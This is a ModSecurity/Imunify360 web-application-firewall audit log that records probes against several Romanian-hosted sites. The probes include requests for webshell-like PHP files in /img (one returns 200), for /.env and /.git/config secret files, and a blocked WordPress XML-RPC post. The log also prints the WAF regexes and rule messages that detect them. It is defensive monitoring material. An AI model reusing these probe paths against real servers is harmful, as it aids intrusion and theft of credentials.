[13/Sep/2026:18:08:17.051654 +0300] aqa8YEhjHs68UzErry1J5gAAAJY 216.73.216.19 40332 127.0.0.1 7081
--5685f173-B--
GET /img/ufo19c_20960.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--5685f173-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: c1f940d0-31f3-4256-91e1-0fe2dc7b2187
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5685f173-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19c_20960.php"] [unique_id "aqa8YEhjHs68UzErry1J5gAAAJY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19c_20960.php"] [unique_id "aqa8YEhjHs68UzErry1J5gAAAJY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312096865418 186286 (- - -)
Stopwatch2: 1789312096865418 186286; combined=32584, p1=254, p2=32257, p3=0, p4=0, p5=73, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--5685f173-Z--

--51daec6c-A--
[13/Sep/2026:18:08:17.284290 +0300] aqa8YUhjHs68UzErry1J5wAAAIc 216.73.216.19 40342 127.0.0.1 7081
--51daec6c-B--
GET /img/ufo19w_831.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--51daec6c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: a25f20d2-d17d-4500-82f4-3b059c41a181
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--51daec6c-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqa8YUhjHs68UzErry1J5wAAAIc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqa8YUhjHs68UzErry1J5wAAAIc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312097065293 219065 (- - -)
Stopwatch2: 1789312097065293 219065; combined=65635, p1=191, p2=34213, p3=0, p4=0, p5=15661, sr=76, sw=1, l=0, gc=15569
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--51daec6c-Z--

--3f78073d-A--
[13/Sep/2026:18:08:18.904883 +0300] aqa8Yvut1GUrjaX0wO40bAAAAMQ 216.73.216.19 40346 127.0.0.1 7081
--3f78073d-B--
GET /img/wso_ufo19.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--3f78073d-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Set-Cookie: 3edd395a10c4893e5a21ace356f6da14key=fac378ac3b3d3886829021b3309d4fd1
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3f78073d-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/wso_ufo19.php"] [unique_id "aqa8Yvut1GUrjaX0wO40bAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/wso_ufo19.php"] [unique_id "aqa8Yvut1GUrjaX0wO40bAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312098869088 35854 (- - -)
Stopwatch2: 1789312098869088 35854; combined=33573, p1=197, p2=33320, p3=0, p4=0, p5=55, sr=78, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--3f78073d-Z--

--f1deb70b-A--
[13/Sep/2026:18:08:20.719736 +0300] aqa8ZPut1GUrjaX0wO40bQAAAM8 216.73.216.19 40354 127.0.0.1 7081
--f1deb70b-B--
GET /img/ufo19p_20539.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--f1deb70b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 1246c8bf-4715-43bf-89aa-f141c75c18f9
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f1deb70b-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19p_20539.php"] [unique_id "aqa8ZPut1GUrjaX0wO40bQAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19p_20539.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19p_20539.php"] [unique_id "aqa8ZPut1GUrjaX0wO40bQAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312100407336 312502 (- - -)
Stopwatch2: 1789312100407336 312502; combined=34964, p1=207, p2=34657, p3=0, p4=0, p5=100, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--f1deb70b-Z--

--c2c3fa4b-A--
[13/Sep/2026:18:08:29.131448 +0300] aqa8bPut1GUrjaX0wO40cwAAAMA 41.143.155.189 54458 127.0.0.1 7081
--c2c3fa4b-B--
GET /.env HTTP/1.1
Host: ihelp.ro
X-Real-IP: 41.143.155.189
X-Accel-Internal: /internal-nginx-static-location
accept: */*

--c2c3fa4b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 6ab8901e-b171-48f9-924f-e4188971a702
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c2c3fa4b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ihelp.ro"] [uri "/.env"] [unique_id "aqa8bPut1GUrjaX0wO40cwAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312108976776 154717 (- - -)
Stopwatch2: 1789312108976776 154717; combined=3167, p1=205, p2=2911, p3=0, p4=0, p5=51, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--c2c3fa4b-Z--

--a4eb4439-A--
[13/Sep/2026:18:08:29.728476 +0300] aqa8bfut1GUrjaX0wO40dAAAANY 41.143.155.189 54460 127.0.0.1 7081
--a4eb4439-B--
GET /.env HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 41.143.155.189
X-Accel-Internal: /internal-nginx-static-location
accept: */*

--a4eb4439-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: f3be7178-34ba-4927-937a-d5c84f967957
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a4eb4439-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.ihelp.ro"] [uri "/.env"] [unique_id "aqa8bfut1GUrjaX0wO40dAAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312109559306 169214 (- - -)
Stopwatch2: 1789312109559306 169214; combined=3728, p1=227, p2=3447, p3=0, p4=0, p5=54, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--a4eb4439-Z--

--85f4e346-A--
[13/Sep/2026:18:12:18.629840 +0300] aqa9Uvut1GUrjaX0wO40mgAAANc 202.21.121.117 47284 127.0.0.1 7081
--85f4e346-B--
POST /xmlrpc.php HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 202.21.121.117
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 680
Content-Type: text/xml; charset=utf-8
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.3; x86) AppleWebKit/537.36 (KHTML, like Gecko) Opera/70.0.0.0 Safari/537.36

--85f4e346-C--
<?xml version="1.0"?><methodCall><methodName>metaWeblog.newPost</methodName><params><param><value><string>1</string></value></param><param><value><string>57794</string></value></param><param><value><string>57794</string></value></param><param><value><struct><member><name>title</name><value><string>0x50c44b1d</string></value></member><member><name>description</name><value><string>0x50c44b1d</string></value></member><member><name>mt_keywords</name><value><string>0x50c44b1d</string></value></member><member><name>mt_excerpt</name><value><string>0x50c44b1d</string></value></member></struct></value></param><param><value><boolean>1</boolean></value></param></params></methodCall>
--85f4e346-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--85f4e346-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:18-12.202.21.121.117"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312338568439 61473 (- - -)
Stopwatch2: 1789312338568439 61473; combined=63049, p1=309, p2=56364, p3=0, p4=0, p5=3351, sr=97, sw=3025, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--85f4e346-Z--

--e0b2917c-A--
[13/Sep/2026:18:20:53.329654 +0300] aqa-Vfut1GUrjaX0wO41xwAAAMo 143.244.57.121 41716 127.0.0.1 7081
--e0b2917c-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 143.244.57.121
X-Accel-Internal: /internal-nginx-static-location
Cookie: csrfToken=5sdGkXxNytjVALWH98TZcDVlNzczYzIyODA0YjNmMGQwNzUzYzM2YjQyYTYxNjgwNGU3MGJiN2M%3D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--e0b2917c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e0b2917c-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/xmlrpc.php"] [unique_id "aqa-Vfut1GUrjaX0wO41xwAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/xmlrpc.php"] [unique_id "aqa-Vfut1GUrjaX0wO41xwAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312853201369 128352 (- - -)
Stopwatch2: 1789312853201369 128352; combined=4004, p1=278, p2=3601, p3=0, p4=0, p5=124, sr=99, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e0b2917c-Z--

--5ee9bb78-A--
[13/Sep/2026:18:20:55.821865 +0300] aqa-V-ut1GUrjaX0wO410wAAAME 154.54.100.175 50296 127.0.0.1 7081
--5ee9bb78-B--
GET /.git/config HTTP/1.1
Host: mail.axapres.ro
X-Real-IP: 154.54.100.175
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept-Charset: utf-8
Accept-Encoding: gzip

--5ee9bb78-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--5ee9bb78-E--

--5ee9bb78-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "mail.axapres.ro"] [uri "/.git/config"] [unique_id "aqa-V-ut1GUrjaX0wO410wAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "mail.axapres.ro"] [uri "/.git/config"] [unique_id "aqa-V-ut1GUrjaX0wO410wAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "mail.axapres.ro"] [uri "/.git/config"] [unique_id "aqa-V-ut1GUrjaX0wO410wAAAME"]
Stopwatch: 1789312855789565 32351 (- - -)
Stopwatch2: 1789312855789565 32351; combined=31336, p1=208, p2=30989, p3=83, p4=7, p5=49, sr=80, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5ee9bb78-Z--

--63d2b006-A--
[13/Sep/2026:18:33:06.809515 +0300] aqbCMkhjHs68UzErry1KaQAAAIc 154.54.100.175 40348 127.0.0.1 7081
--63d2b006-B--
GET /.git/config HTTP/1.1
Host: ns2.happydigital.ro
X-Real-IP: 154.54.100.175
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip

--63d2b006-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--63d2b006-E--

--63d2b006-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
